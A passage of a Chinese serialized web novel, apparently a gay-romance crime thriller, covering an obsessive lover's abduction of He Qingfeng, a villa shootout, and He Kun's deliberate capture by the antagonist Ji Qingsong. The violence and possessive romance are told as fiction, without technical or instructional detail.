豪华宽敞的房间内,贺青峰猛然睁开双眼,映入眼帘的不是偏僻破旧的黑屋,而是繁复雕花的墙壁,身下的床柔软而蓬松,窗外阳光正好。 他几乎已经猜出是谁策划了这场明目张胆的绑架。 “峰哥你醒了,饿不饿?我命人准备了些吃食。” 久违的声音落到耳畔,少了几分任性,多了些温和。 贺青峰循着声源看去,那人坐在沙发上,手里捧着本杂志,曾经嫌衬衫西裤过于沉闷勒人的青年,如今已将西服穿得周正气派,眉眼间染上了几分温雅,只是那枚落在左眼眼尾的红痣却依旧华艳灼人。 见到宋榄不符合常态的模样,贺青峰心中反倒渐渐平静。 他掀开被子,赤裸着半身走到衣柜前,随手拿出套宽松的衣服,意料之中的合身,这个房间似乎早已等待着他的到来。 “地上凉。”宋榄提着拖鞋,单膝跪到贺青峰身前,掌心轻环住男人一只脚腕。 完成穿鞋的动作后,他却没有立刻松开贺青峰的脚踝,反而轻轻摩挲过那块凸起的踝骨,抬眸时满眼虔诚。 三年前,宋榄最后的留言再次浮现与脑海中,在这个近乎痴迷的眼神中完成闭环。 贺青峰的视线缓缓描绘着青年的眉眼,停留在那人的耳畔半秒后,他几不可查地皱了皱眉,踩着宋榄刚为他穿好的鞋转身离开房间。 餐厅长桌上果然放着色香味俱全的各式早餐,生怕没有贺青峰偏好的口味似的,索性都准备出来。 而作为隔断装饰的那面墙几乎放满了慈善类的证书或是纪念品。 各式各类均有涉及,足够震撼,无论宋榄意欲何为,他确实做了些好事。 贺青峰收回视线,左手忽地被牵起,一枚熟悉戒指重新回到了无名指上。 他记得它,被自己遗弃在了逃离宋榄的那天。 “峰哥,重新办婚礼吧。” 听到这句话,不知为什么贺青峰竟有些想笑,他确实也笑了,嘴角弯起个弧度,却看不出什么情绪,“宋榄,你的头发上有血。” 这是时隔多年,贺青峰开口对宋榄说出的第一句话,没有寻求解释,只是在陈述事实,声音平静无波,像在说今天天气不错。 宋榄的动作在话音落下的瞬间,微不可察地僵滞了一瞬,短暂得像错觉。 他依旧低着头,专注地为贺青峰调试着戒指,动作轻柔得像对待易碎的瓷器。 “嗯,脏东西。” 宋榄扯了扯嘴角,露出一个毫无笑意的弧度,抬手极在发丝间随意地拨弄了两下,动作漫不经心,仿佛那沾的只是什么灰尘。 贺青峰没有再回答,只是安静地坐下来,打算从餐桌上挑选份还算想吃的。 宋榄只是看见他眼神停留,便体贴地将食物送到了贺青峰抬手就能碰到的位置。 “峰哥,这些年我好想你,你呢?” 宋榄笑意盈盈的,贺青峰不回答,他依旧毫不在意地继续自说自话,“我给峰哥发了很多邀请函,你太忙了没看见。” “不过,我决定原谅峰哥。” 他目光沉沉地盯着对面沉默的男人,吞咽着玻璃杯中的热牛奶,喉结微微鼓动,尽管语气温柔俏皮,眼神却阴郁痴迷。 “什么?” 宋榄起身缓缓走到贺青峰身后,张开手臂环住面露疑色的男人,语气十分轻柔:“我说,我原谅你了。” 贺青峰记着当年宋榄也帮助了贺琨,给彼此留些体面,结果他发现和宋榄真的没什么好说的。 刚戴上的戒指,还没捂热就再次被抛弃,随意撂在餐桌一角,形单影只。 宋榄笑得干净,手中的叉柄笔直的线条开始扭曲,就不该心疼,只需把这人捆在床上狠狠地爱,爱到说不出话来。 就在这时,后脑勺突然被冰冷的枪口抵住,宋榄眼睛都没眨,只是表情变得冰冷,“我们重新办婚礼好不好?之前那个太仓促了。” 不提还好,提起来就让贺青峰想起那座乡野的小教堂,以及宋榄做那些桩桩件件的破事。 他指着满面墙壁的证明,“这些,就算是摆满整个屋子,也不会改变你的本质。” “宋榄,我后悔了,当时本不该在医院的天台救下你。” 贺青峰的声音冰冷而清晰,每一个字都像淬了毒的冰锥,狠狠扎进宋榄的心脏。 就连那枚被随意抛弃在桌角的戒指,也在晨光下反射着刺眼而讽刺的光芒。 他的伪装终于彻底碎裂,只剩下森然的阴冷,压低声音讥笑道:“那我还偏要告诉你,当时我上天台是去杀人的,哈哈。” “你拉进怀里的,不是个走投无路的学生,就是个十恶不赦的杀人犯。” 宋榄眼神中充满贪婪和恶意,语气中难掩恶趣味,最后三个字眼咬得格外清晰,似乎是期待着男人的崩溃。 他挂着骇人的笑,缠扣住男人因为愤怒而抬起的手,强制性地压到自己的脸侧,眼神还粘在爱人身上就缓缓偏倚脑袋,用唇舌去舔吻那手心。 贺青峰不可置信地抽回手,决绝地转身离去,仿佛再多看宋榄一眼都是恶心。 宋榄心一紧,刚踏出半步想要追上去,身后就传来扳机扣动的声音,抵住后脑的枪口更加用力,将脑袋压得更低了。 他眼中划过不愉,可就在贺青峰即将踏出门廊的瞬间。 “砰——” 一声震耳欲聋的枪响,毫无预兆地打破了别墅内的死寂,枪声并非来自宋榄身后,而是来自贺青峰离开的方向。 还好有人反应得够快,及时扑向了开枪的人,子弹得以偏倚半分,没有当场取走贺青峰的命。 子弹打碎了角落价值千金的瓷器,直接死死嵌入了实木中。 宋榄的阴冷疯狂被一种极致的空白取代,畏惧之下。身体反应极快地将身后的人撞开,直接向前扑倒贺青峰,紧紧藏在自己怀里。 刚在那发枪声,似乎只是变局开始的号令,他连忙将贺青峰拉进死角,严实地藏在了掩蔽物后,此时枪击声已经不绝于耳。 宋揽这才放心地抬眸观察着形势,目前有三波人,贺青峰的人,他自己的手下,还有正在作乱那方。 领头的十分眼熟,他定睛一看,果然是他的心腹之一,恐怕是得了消息,趁机叛变。 “藏好峰哥,有人要浑水摸鱼了。” 宋榄心里有了底,不知从哪里摸出两把枪,塞了一把给贺青峰,自己留了一把便直接走出去了。 而刚才抬枪威胁宋榄的人现在已经昏迷不醒地倒在不远处,似乎从始至终都没有给宋榄造成什么困扰。 枪声时刻不停歇地在豪华的别墅内炸响,子弹呼啸,血腥味和焦糊味交织在一起,弥漫在整个房间内。 刚才还温馨华丽的别墅,现在已经不堪入目。 昂贵的丝绸窗帘已经洒了一地,吊灯上的水晶碎裂四溅,不论光洁的大理石还是墙体都被凿出了不少狰狞的弹孔, 就算这样,直至结束宋榄也没有让任何人有机会靠近贺青峰藏身的地方。 最后一声枪响干脆而利落,打断了求饶之人的话语,子弹精准地没入眉心,那人眼中的执念瞬间凝固,身体紧接着瘫倒在地,只剩下血泊的面积越来越大。 这场刺杀为了借贺青峰到来的混乱而仓促开始,显然准备不太充分,短短半小时就被按下。 宋榄甚至没有多看,仿佛只是碾死了一只碍眼的虫子,最后环视一圈,确认剩下的威胁已被解除,才转身朝着贺青峰藏身的角落走去。 他身上的西装早已染上斑驳的血污,但步伐依旧沉稳,“没事了,没事了。” 宋榄的声音试图放柔,但其中的冷硬并未完全褪去,他伸出手,想要去扶贺青峰。 然而,就在这看似尘埃落定的瞬间,之前被宋榄撞昏倒地的人猛地从地上一跃而起! 他脸上还带着血迹和淤青,眼神却充满了同归于尽的怨毒,手中枪不知何时已经没了,他就转手从料理台抽出了一把长厨刀。 直扑向背对着他的宋榄,动作快得惊人,显然是拼尽了最后一丝力气,意图一击毙命。 贺青峰瞳孔微震,“小心——!” 宋榄闻声警觉地想要转身,但那偷袭者的速度太快,他侧身动作刚做到一半,那把致命的长刀已经带着破风声划过来。 下一秒,贺青峰手中的枪响了! 子弹带着巨大的动能没入了偷袭者的胸膛,前扑的动作戛然而止,可惯性还在,那人挣扎着继续向前。 时间似乎被放慢拉长,贺青峰本能地接连扣下扳机,偷袭者眼中的很快终于被死寂取代,手中的长刀“当啷”掉落在地,身体也重重地砸在地板上,发出沉闷的响声。 而他还在机械地扣压扳机,直到子弹消耗完毕,世界仿佛瞬间安静了,这时宋榄的衣服后背几乎是血,贺青峰的左侧脸颊也满是飞溅而出的鲜血。 宋榄这时才转身,地上的偷袭者死状惨烈,而几步之外举着枪的峰哥手在剧烈地颤抖,枪口垂下,指向地面,脸上没有半分血色。 他眼中瞬间充满了近乎灼热的狂喜,贺青峰为他杀人了。 宋榄就知道峰哥只是在说气话,他们明明就是互相喜欢啊。 “峰哥……”他急切地向前一步,想要靠近贺青峰,强压住嘴角的笑意,却让表情变得更加扭曲,“别怕,峰哥,你只是杀了一个人而已。” “别过来。”贺青峰的声音沙哑,感受到宋榄地靠近,他猛地后退一步,如同躲避瘟疫。 为了救宋榄,为了救这个刚刚亲口承认自己是杀人犯的疯子,他虐杀了一个人。 “呵……呵呵……”贺青峰突然低低地笑了起来,抬起衣袖想要抹去脸颊的血迹,结果越擦越糊。 他只好抬眸看向宋榄,眼神复杂到极点,最终只剩下深不见底的疲惫。 “宋榄,”贺青峰毫无生机,扫过青年眸底那藏不住的喜悦,只觉得无比讽刺,“我们都烂透了。” 宋榄这下彻底笑不出来了,整个人重新被恐惧充斥,死死拽住正要转身离开的人。 贺青峰知道宋榄怕什么,他压住扳机,抬手就将黑乎乎的枪口正对自己的太阳穴。 第79章 第七十九章恢复记忆贺琨睁开眼,窗…… 贺琨睁开眼,窗帘的缝隙中晨光微明,身侧的呼吸依旧平稳,他盯着纪明冉的长睫毛看了会,抬手捏了捏傻子的脸,才起身走进浴室。 他哥失联三天,贺琨也找了宋榄三天。 本来差点就要直飞R国找人了,要不是昨晚接近凌晨时,接到了贺青峰的电话,恐怕现在贺琨已经到R国了,而不是只去国际机场接机。 他看着接近脖颈处的那几枚深色吻痕,纪明冉这几日也不知道是开荤不久比较兴奋还是怎么了。 每次逮到他就好一顿磋磨,明明病情有好转,还仗着傻气乱来,只要是关键时刻,他什么都听不懂。 贺琨随便从衣柜中拿出一套夏日的休闲套装,看起来还算比较清爽干净。 正准备合上衣柜,一双手穿过腰间,钻进衣摆中,交叠在他的小腹前不安分地揉摸。 贺琨偶尔也会疑惑,此人到底是真傻还是装傻,比如此时此刻。 他无奈地仰头,按住纪明冉的手腕,“起来,别把我衣服压皱了。” “阿琨去哪里?为什么不要我?” 贺琨终于拉住纪明冉的手,一把扣在手心里,“得去国际机场接我哥了,你乖乖在家等我。” 哥哥、哥哥……阿琨已经念叨了这位哥哥足足三天了,都没有时间陪他看电视看书,还有玩耍了。 “可是,阿琨已经有我了。” 贺琨本想说些什么,但低头整理衣摆时,无意瞥见了时间,“快来不及了,你在家自己玩会,我很快回来的。” 他转身勾住纪明冉的下巴,印上个足够风流的吻,匆匆转身离开。 纪明冉愣在原地,摸摸刚被亲过的嘴巴,也不气了,站在已经空无一人的衣帽间道:“那好吧,等你回家。” 接机处,贺琨看着来来往往的旅客,寻找着熟悉的身影,没几分钟,通道那头出现一位男士。 鼻梁上架着细框墨镜,遮住半张脸,只露出紧抿的薄唇和利落的下颌线,白衬衫袖口挽到小臂,银灰色袖扣在阳光下泛冷光。 贺琨三两步走到那人身前,不知何时已经红了眼眶,“哥,我回来了。” 话说得有些奇怪,但是贺青峰听懂了。 他取下墨镜,摸摸贺琨的脑袋,没有询问六年前的事,也没有责怪,只是认真地观察着这几年贺琨的变化,最后温和道:“知道了。” 贺琨眼眸中闪着泪花,笑容却慢慢加深,眸中闪过一丝狡黠,直扑到贺青峰身上,“哥,好想你啊。” 贺青峰被突如其来地拥抱撞得后退几步,短暂的错愕后轻笑出声,他拍了拍贺琨的背,“知道了,起来站好,还当自己小呢。” 熟悉的训斥响起,贺琨弯起眉眼,慢悠悠地拉开距离,貌似漫不经心地左右观察,“宋榄没来?” 这人十分难缠,贺琨已经做好正面交锋的准备,只要他哥是安全的,真刀实战地拼起来,他也不怕。 “他不会来。”贺青峰退让一步,在身上装了定位器,宋榄也答应短时间内不会出现在他面前。 侵袭者跳起刺杀的那时生死攸关,意识到什么的,不止是宋榄,贺青峰也是。 他以命相逼,才从宋榄那里获得喘息的机会,两人之间乱得理不清,以后的事就留到以后再说吧,贺青峰是这么想的。 两人边走边聊,很快便到了车边。 “你是说纪明冉傻了?确定不是装的?” 贺琨看见他哥眼中满满的怀疑,只觉得非常理解,最开始肃山和他说这件事的时候,他也是觉得简直荒谬。 直到发现纪明冉已经悄悄跟踪了他好几日,还被自己当场抓包的时候,贺琨才开始将信将疑。 “嗯,还挺难解释的,现在痴痴傻傻的,可好欺负了,总之你见到他就明白了。” “又和他在一起了?” 冷硬的寻问传进耳朵里,贺琨意识到自己说了什么,立马干笑干笑的,想着伸头挨一刀,缩头也是挨一刀,于是说道: “嗯,就是,也不算吧,细说也算,等他病好了看看情况。” 贺青峰冷哼,显然不满意贺琨的回答,也不满意纪明冉。 因为纪明冉的情况不能轻易外出,贺琨只好忐忑地将他哥带回别墅。 原本他的计划是提升下贺青峰对纪明冉的容忍度,结果落实起来非常有难度。 贺琨做足了心理建设,后悔出门前没有多交代几明冉几句,他笑呵呵地看看贺青峰,然后缓缓推开门。 还没来得及回头,一道身影直扑过来,捧着他的脸就开始疯狂的小鸡啄吻,含糊不清道:“阿琨阿琨,可以不要哥哥了?” 他以为贺琨回家,就是安排好贺青峰的去处了,但是又表达不出来,说出来的话像拱火似的。 贺琨被亲得一脸口水,尴尬又无奈,抬手把八爪鱼似的纪明冉扒拉下来,“胡说!” 纪明冉被扒开,像被抢了糖果的小孩,满脸委屈,脑子都是贺琨为了这个“哥哥”出门那么久,还把他一个人丢在家里,他站在原地,豆大的眼泪就往下掉。 贺青峰站在门口,眉头拧紧,审视着这个行为幼稚,占有欲却依旧极强的人。 这还傻?正常的时候还知道收敛,现在这粘人劲儿胜了从前不知多少倍。 晚餐,三人坐在餐桌前,贺琨和贺青峰多年未见,情绪并不激烈,但是对话断断续续的,始终没停过。 “卢卡?”贺青峰的声音里带着一丝询问。 “嗯,卢卡叔帮了我很多,尤其是最开始那几年。” 贺青峰夹起爽口的虾仁放进贺琨碗中,“等风头过去了,要好好感谢一番。” 在无人注意的时候,纪明冉看着贺琨不断吃下陌生男人夹的食物,筷头都要咬烂了,插不上话就只能干着急。 一顿饭吃得如同嚼蜡,他听不懂他们大部分谈话的内容,只知道阿琨的注意力全在那个男人身上,都没有像往常一样问他有没有吃饱。 好不容易熬到晚饭结束,纪明冉以为那个“哥哥”总该走了吧? 他像个小尾巴似的紧紧跟在贺琨身后,眼巴巴地看着贺琨和贺青峰又进了客厅,坐到了他和阿琨原本看电视的位置上。 时间一分一秒过去,窗外的天色彻底暗了下来了,“哥哥”丝毫没有要离开的意思,甚至很自然地询问客房的位置,仿佛要在这里住下。 纪明冉不想惹贺琨不开心,急得在一旁团团转,也没有在莽莽撞撞地上前。 贺青峰不着痕迹地观察着纪明冉,一天下来他总结道:“不像装的,你看着办吧,我该回酒店休息了。” “不过针对你今天提出的计划,我认为风险太高了,不如再稳妥些。” 贺琨点头应下,没有人知道他真实的想法。 贺青峰离开,今晚最开心的人莫过于是纪明冉了。 人前脚刚走,他就咋咋呼呼地牵着贺琨上楼。 “这是怎么了,冉冉?”贺琨明知故问,虽然是个乌龙,但是也终于轮到他揣着明白装糊涂。 走在前面的傻子低着头没说话,握住贺琨手腕的手收得更紧了,没走多久就到了卧室。 刚踏进门内,贺琨就被纪明冉按压回到门上,肆意掠夺着口中津液,那人的舌尖霸道地划过每一颗牙齿,尽兴地舔舐着他的上颚。 这样狂热的吻使得贺琨喘不上气来,他难受地仰了仰头,却再次被追上,后脑已经死死地抵在了门板上,再也无处可退。 还好手机的铃声响起,解救了水生火热中的贺琨,他艰难地推开纪明冉,“不等等” 一封陌生来信,贺琨没有刻意避讳,而是直接点开,对方要求他明天将纪明冉带出门,显然不相信这位叱咤风云的青年领袖变成了个痴儿,想要亲自看看。 贺琨还有些犯愁,要把纪明冉带出去,这可不简单。 “阿琨,要补偿我,明天带我去游乐园!” 好巧,瞌睡来了递枕头,贺琨没有当即同意,而是认真地看了纪明冉很久才说:“好啊。” 计划赶不上变化,游乐园人多杂乱,不方便也不安全。 贺琨在肃山的建议下改了计划,决定挑部合适的电影打发时间。 为了低调行事,肃山只是包下了放映影厅,贺琨牵着纪明冉走出影城时,人并不多。 太阳刚好落山,暖光照在复古典美的大道上,路的另一侧是缓缓流淌的河水,金光闪耀。 纪明冉今天话不多,带着墨镜又高又好看。 “等你身体恢复了,我们坐轮船回国吧。”贺琨看着平缓的水面,偶有飞鸟轻掠而过。 “轮船?没坐过哎,好玩吗?” 贺琨想着初见纪明冉的场景,“会遇见有趣的人。” “只要和阿琨在一起,哪里都好有趣。”纪明冉笑笑,影子里两人相扣的手相缠着晃了晃。 手机在口袋中微微震动,贺琨看向一无所知的纪明冉道:“我有些口渴,你在这里等我,我去买点喝的,很快就回来。” 纪明冉坐到贺琨指定的长椅上坐好,背后是安静的河流,他取下墨镜一本正经地仰着头,“阿琨想要丢掉我吗?” 贺琨忍俊不禁,“谁和你这么说的?” “电视里都是这么演的,一个人去买东西了,然后就没有再回来了,但是我不同,我再也不会弄丢阿琨了。” 贺琨听闻后半句收起笑意,抬眸审视纪明冉,半晌才似笑非笑道:“别怕,我马上回来。” 安保人员就隐匿在周围,也没什么可担心的。 他摆摆手,转身朝着街角的便利店走去,进门前侧过视线往纪明冉的方向看去。 一位路过的小朋友手中的排球不知怎的滚落到了纪明冉脚边,一大一小对话起来,比手画脚的 贺琨走进店内,随便拿起两瓶水,就去前台排队结账。 “看来他真成傻子了。”身后带着鸭舌帽的男人嗓音低沉。 类似的表述似乎昨天才听他哥说过,贺琨抽抽嘴角,拇指摩擦水瓶盖子。 “纪明冉马上就要恢复了,我已经答应帮忙,请你们尽快安排好我的撤离路线。” “贺先生稍安勿躁,等我们得了消息,便立马通知您。” 贺琨没有说话,等结账后,他提起两瓶水离开了, 纪明冉还在原位等待着他,半分也没有挪动。 “阿琨,我听话吗?”纪明冉光是看见贺琨向他走来,就已经开心极了。 贺琨在纪明冉期待的眼神中肯定地点头,笑着牵住围着他打转的人继续往回走,落日将两人并肩的影子拉得很长。 半个小时后,两人一前一后地走进室内,贺琨正准备换鞋,纪明冉就弯下了腰。 只要是关于贺琨的事,就算再小,他都会做得无比认真。 “阿琨,你会骗我吗?是我不听话吗?”半跪着的纪明冉微微仰头,问得轻盈,眼神却很沉。 贺琨摸摸他的脸颊,“那你会骗我吗?” 纪明冉依旧半跪着,他眸光垂落半秒,再抬眸时明亮清晰,“以后都不骗阿琨,永远。” 纪明冉还想说什么,贺琨两指按住他唇,可那双眼睛轻眨,似乎还在说话。 贺琨不由自主地弯腰,闭眼凑上去吻住纪明冉浅色的唇瓣,把舌头挤进了那人的唇齿间。 他知道,但是现在还不是时候。 以前他没有护住纪明冉,那么这次,就让一切从这里重新开始。 第80章 第八十章以身入局不知是昨日出门受…… 不知是昨日出门受了寒,还是怎么回事,到了夜里纪明冉就开始反复发烧。 半梦半醒间,时会通红着眼睛,拽着贺琨质问为什么要丢下他,时而只是静静地看着贺琨,目光里盛满悲伤,又或者一个劲地呆笑,总之始终没有松开贺琨半分。 医生来看过,也给服用了退烧药物,只是见效不大,到了后半夜,纪明冉整个都变得汗津津的,再热也绝不撒手,意识模糊不清,就埋在贺琨的颈间难受地呜咽,似乎要将那么多年的委屈都哼唧出来。 贺琨下颌被纪明冉潮湿的头发印出红痕,脸颊也因为怀中的热源被腾成浅红色。 到了天快明时,纪明冉都不用出声,只是微微蹭蹭他锁骨下方已经透红的肌肤,贺琨就知道纪明冉又难受了。 他低头吻走纪明冉的泪水,舔了舔干燥的嘴唇,声音有些暗哑,“在呢,我在。” 等纪明冉再次醒来时,估计就会重新变回那位翻手为云,覆手为雨的纪先生,本应该高兴才是,可贺琨心里没底,有些说不上来的空泛。 他刚想长吁,结果怀中的人又开始攒劲地往自己怀中挤,似乎要听着他的心跳声才能安心睡去。 贺琨又被填满了,他无奈地笑笑,捞出枕头下的手机,环住怀中的纪明冉,虽然身形已经比他大上一圈,完全不妨碍贺琨找回了些猛1的感觉。 信息中,纪清嵩在催促贺琨立马行动,可能是得知纪明冉痴傻的情况,终于下定决心,想乘机出手。 贺琨眼神暗了暗,前几日宋榄就联系到他,表示要帮助他解决纪清嵩,比起其他雇佣的组织,宋榄的人用着肯定更加趁手放心。 宋榄没有索取其余报酬,只是希望贺琨让纪明冉不要再阻拦他进入国内。 可以说贺琨离开了六年,纪明冉没有忘记答应贺琨的事,拦了宋榄六年。 宋榄心里堵着气,更不可能告诉纪明冉关于贺琨的下落,他那么多年在这行干活,也不是白干的,加之贺琨配合,在纪明冉眼皮子下藏一个人算不上多难。 当年这两人联合做局搞了贺琨和贺青峰这下也算是连本带利的还回来了。 贺琨觉得这交易不亏,只是让宋榄能进入国内,具体的还要具体说呢。 纪明冉已经睡熟了,天色即将破晓,贺琨艰难地用抱枕将自己换出来,轻手轻脚的走出室外,在逐渐闭合的门缝中再次看了熟睡纪明冉一眼,才溜回自己的房间。 “小贺先生,您要的东西已经找来了。”肃山已经在门口等候,手中拿着个银色的合金盒子。 贺琨接到手里,小心打开,里面静置着可植入的微型定位器,是纪氏新研发的产品,目前市面上没有可以检测出该种定位器的仪器。 “纪明冉状态刚刚稳定,可能清醒后就会恢复记忆,也可能还需要一段时间,按照纪清嵩的性格应该会留后手,你照顾好他。” 肃山点点头,“好的,小贺先生,需不需要等纪先生清醒再行动?” 贺琨拿出注射器,对准左手上臂直接将定位器植入,没有留下任何可视的痕迹。 “纪清嵩催得急,等他反应过来反而更棘手,大家都想浑水摸鱼,索性再乱些。” 天色还没完全亮,别墅附近意外出现枪声,部分人手前往调查,贺琨趁乱匆匆忙忙地从别墅出来,甩开身后追踪的人,借着丛林的掩护往约定点一路狂奔。 保镖们不敢对准命门射击,毕竟明眼人都看得出来,贺琨是纪先生的人。 但是肃山助理又下了死令,必须把人活着带回去,那只能取个折中的办法,让这人失去行动力。 贺琨只顾着往前跑,也不知跑了多*久,天际出现金边,只有林里光线还比较昏暗,他大口大口的喘息,胸腔烧得火辣辣的。 又有一枚子弹落在脚边,扬起尘土,他看不清脚下的路,只觉得被什么树根藤蔓绊倒,顺着小山坡就滚了下去,随即失去了意识。 — “醒了?喝水?” 贺琨是在颠簸中醒来的,他以为自己最起码会躺在房间里,结果居然还在车上。 窗外的太阳已经西沉,纪清嵩到底要把他拉去哪啊,就知道这人不会老实。 “喂,”不耐烦的声音将贺琨的注意力拖拽回来,说话的是位纹身的年轻小伙,不耐烦地踢了踢贺琨的小腿,“问你话呢?” 就是这么几下,钻心的痛从小腿传来,除此之外还有绷带缠绕的压力。 贺琨冷抽凉气,说不出话来,只是连忙低头查看,右侧小腿中枪了,纱布上还有血迹。 绝对不是肃山的人做的,是纪清嵩的人补的。贺琨掩去眼中的怒气,这仇得记下,“纪清嵩呢?” 纹身小伙没有说话,副驾驶那位中年男人嗤笑一声,他回头瞥了眼贺琨,一对义眼转动有些迟缓的诡异,“我们老大请你过去坐坐,贺先生先委屈两天吧。” 贺琨完全没有听出什么歉意,他知道见到纪清嵩前,说什么都是浪费时间,于是指着自己的小腿,“这个部位,这种程度的伤可以用治疗仪治疗。” 义眼男这会连头都不回了,“没有,你这个得去医院治。” 纹身青年啧了啧嘴,似乎有些过意不去,“我有止痛药物,你用水先吃点。” “谢谢啊。”贺琨皮笑肉不笑,甚至有些讥讽。 小伙看傻了,都说这人是老大弟弟的心上人,刚开始拖到车上来的时候,他就观察了会,就长得还行,也没什么特别的。 可醒来就不一样了,眼神劲劲的,因痛意皱眉时又带着别样的脆弱,贼有感觉。 这会笑意未及眼底,随性中带着轻狂,像笔直的竹,让人想折断,好玩赏他的脆弱。 “给你。” 纹身小伙从背包侧边拿出两片药剂,又胡乱塞了块巧克力给贺琨,语气依旧不耐烦,只是有些闷。 半个小时后,在一阵一阵的恶心与头晕中,终于到地了。 靠近海边,风里都夹杂着咸涩潮湿的味道。 纹身小伙不知道哪根筋搭错了,下车就要把贺琨背进门,义眼男人甩了他一脑掌,听起来还有些实沉。 “热心得很,想死几次?” 没这几个,贺琨这条腿还伤不了,他从另一侧拉开车门,一瘸一拐地就往院子里走。 这个据点找得还算可以,表面上就是个简单的靠海小院,收拾得挺干净,有生活的味道,至于其他的暂时还看不出来。 纪清嵩先走了出来,打量了贺琨半秒,“嗯?怎么给伤到了?”他板着脸看着去接贺琨的三人,“你们怎么接应的?晚上领罚!” “还演呢?”贺琨平日怎么样的,到了现在脾气也是怎样,“我给你卖了消息,你是不是应该兑现交易内容了?” 纪清嵩笑了,拍拍贺琨的肩膀道:“我就喜欢你聪明,说话不费劲。” 贺琨侧身躲开,一脸嫌弃。 纪清嵩也不在意,他朝后挥挥手,一位医护人员推着轮椅出现,“希望贺先生赏脸,住两天。” “你和纪明冉想怎么斗,就怎么斗,不要牵扯我。”贺琨压低眉眼,厌烦至极。 “不,贺先生可是我的底牌,事成之后,我一定好好感谢你。” 贺琨捕捉到关键,故作疑惑:“底牌?” 人都已经到手看押了,纪清嵩自然也不避讳,在他看来这局几乎是必赢局。 “纪姝在国内做局,纪禾心里亏欠,肯定会妥协帮忙,而纪明冉身后的罗德山庄这回也不会提供支持,就凭他痴傻的模样,拿什么赢呢?” 纪清嵩愁眉苦脸的,似乎真的很担忧纪明冉的境遇,他绕着贺琨的轮椅走了半圈,按住轮椅的后侧的推手,弯腰凑到贺琨耳边道:“最关键的,你还在我手里啊。” “那最开始,你为什么非要杀了纪明冉?” 纪清嵩的步伐微顿,连带着轮椅也停滞了半秒,贺琨被推进一个房间,是仓库临时改的,没有开窗,比较简陋。 “呵,纪家的人都该死,你的体会难道不深吗” 原来不是针对纪明冉,贺琨想起纪清嵩的残疾,“你和纪姝失踪,是谁做的?” “反应真快,”房间内只剩下两人,纪清嵩走到贺琨身前,“那当然是,纪明冉。” 贺琨先是愣了半秒,无语,“纪明冉那时恐怕都还不会走路吧。” 纪清嵩耸耸肩,直接坐在了房间唯一的床上,也算不上什么床,就是用木板临时搭的,放了两条被子。 “纪夫人做的啊,我那时才几岁?10岁不到,她就让人活生生把我的脚踩断了哈哈,纪禾一开始就逃了却什么也不说,纪正源也知道。至于我和姐姐,被卖到言语不通的战乱地区,过得嘛” 纪清嵩性格比以前外放了不少,情绪更容易波动。 他没把话说完,贺琨也知道,那个时候被贩卖过去的刚成年的女孩,还带着残疾的年**孩肯定过得不怎么样。 贺琨顺着他的话头,“等你成为纪家的掌权者,就可以复仇了。” “是啊是啊,最好都死了,连带着这个姓氏,也不要再出现。” 纪焯的死无可避免,纪清嵩最恨的肯定有他,至于其他的人,除了纪姝,恐怕都是因为有纪明冉的庇护才会活到现在。 贺琨不知道那些事情的全貌,也无从去评说什么,沉默让氛围变得有些沉重,结果纪清嵩的声音再次响起,掺杂着不明的兴奋。 “好了,今天的故事到此为止,好好休息别多事,不然我也不介意提前杀了你。”纪清嵩做出抹脖子的手势,阴恻恻的笑,“看见你的头颅,纪明冉会疯吧。” 贺琨不适地皱眉,晕车还没好,更想吐了,他看着纪清嵩的身影消失在门口,带走最后一丝光亮。 原来纪清嵩的计划早已开始,他会选择在哪里,又会以何种方式谋杀纪明冉? 黑暗中,贺琨眼皮越来越重,思绪搅成浆糊后很快睡着了。 80-83 第81章 第八十一章准备救人夏天本来就热,…… 夏天本来就热,靠近海边连带着空气也比较潮湿,不知哪里爬出来的毒虫,半夜把贺琨给咬醒了,又痒又痛的,小臂上很快就鼓起来个包。 贺琨累得连翻身的力气都没有,决定忍着继续睡,恶劣的环境让他半梦半醒,始终难以入眠,直到门缝里泄出些白日的微光,错乱的呼吸才渐渐平稳。 可惜还没熟睡上几分钟,一阵凉意扑面而来,整个人连同身上身下的被子都被泼得湿淋淋的。 可能是井里抽上来的水,还带着清晨的凉意,一桶水砸在脸上冷疼冷疼的。 “老大要见你人,半天都叫不醒,是死猪吗?” 说话的人是昨天坐在副驾驶位置上的义眼男,表情嚣张丑陋,贺琨提起地上的木桶,站直身子,在义眼男迷惑的目光中,直接将水桶朝着那人脑袋上甩去。 “我还没找你算账,你倒是上赶着来了。” 贺琨练散打可不是摆弄花架子,他是打不过纪明冉那个开挂的变态,可普通人就不太够看,贺琨还没几招这男的就倒下了,他抬起没受伤的那条腿踩住倒在地上的人。 “你个躺床的婊子死定了,我要杀了你!” 义眼男被砸木桶砸得发晕,后脑着地更晕沉了,头发里直冒血,顺着额头都流到眼睛里去了,胸口被踩得喘不上气,他怒吼着,抬手就要攻击贺琨受伤的部位。 贺琨轻笑一声,躺纪明冉的床也不算磕碜。 他顺势躲开,换了个姿势控制住此男,抬膝便重击男人的腹部,耳边顿时响起尖锐的嚎叫,贺琨低头道:“这下,只算治疗仪的。” 门外听见动静,很快冲上来几个人,架着贺琨往后拖,他没有挣扎,懒洋洋地任由这几个人将他捆在了轮椅上。 为首的忌惮的打量了贺琨两眼,又把地上的义眼男捞了起来,看表情是在骂人,依稀能听到个,“你说你惹他干嘛” 声音越来越小,那人提溜着血迹斑驳、灰头土脸的手下就出去了。 贺琨眼皮子都懒得撩,算了算时间,宋榄应该已经开始行动了,也不知道纪明冉身体情况怎么样。 不知过了多久,屋内唯一的出口,也就是靠近最左侧的那扇铁门,再次发出嘎吱的响声,一道黑影出现在地面上,就连影子都端正修长。 和刚才那几位街头游走的混混完全不同,不用看就知道是世家出身,人与人之间啊,差距就是那么大,也不知道纪清嵩是怎么服众的。 来人像是看出了贺琨在想什么,微笑开口道:“他们想实现心愿,而我有药剂。” 贺琨皱眉,他在斗场中见过那场面,随着药剂注入,赛手的精神状态会变得异常亢奋,甚至当场猝死,血腥猎奇。 不是什么正规的药剂,像是比赛时的兴奋剂,也许比兴奋剂恐怖百倍,副作用极大。 但是别人用了,你不用就出不了头,可怕就可怕在,你用了还不一定出得了头。 那些爱慕追捧、财富美色的虚浮愿景,在一次又一次的非法用药中变得近在咫尺,直至注射到身体无法承受而亡,也还是近在咫尺。 在纪清嵩的斗场里,人命只是一种娱乐性质的消耗品。 “说来也巧,你前脚刚离开,纪明冉就清醒了,想不想见见?” 贺琨瞳孔微缩,目光凌厉地直视纪清嵩,“那你更应该遵守承诺,让我离开。” 纪清嵩偏头,再次微笑,“别怕啊,你只需好好配合我,我保证会让这个人永远消失,永远。” 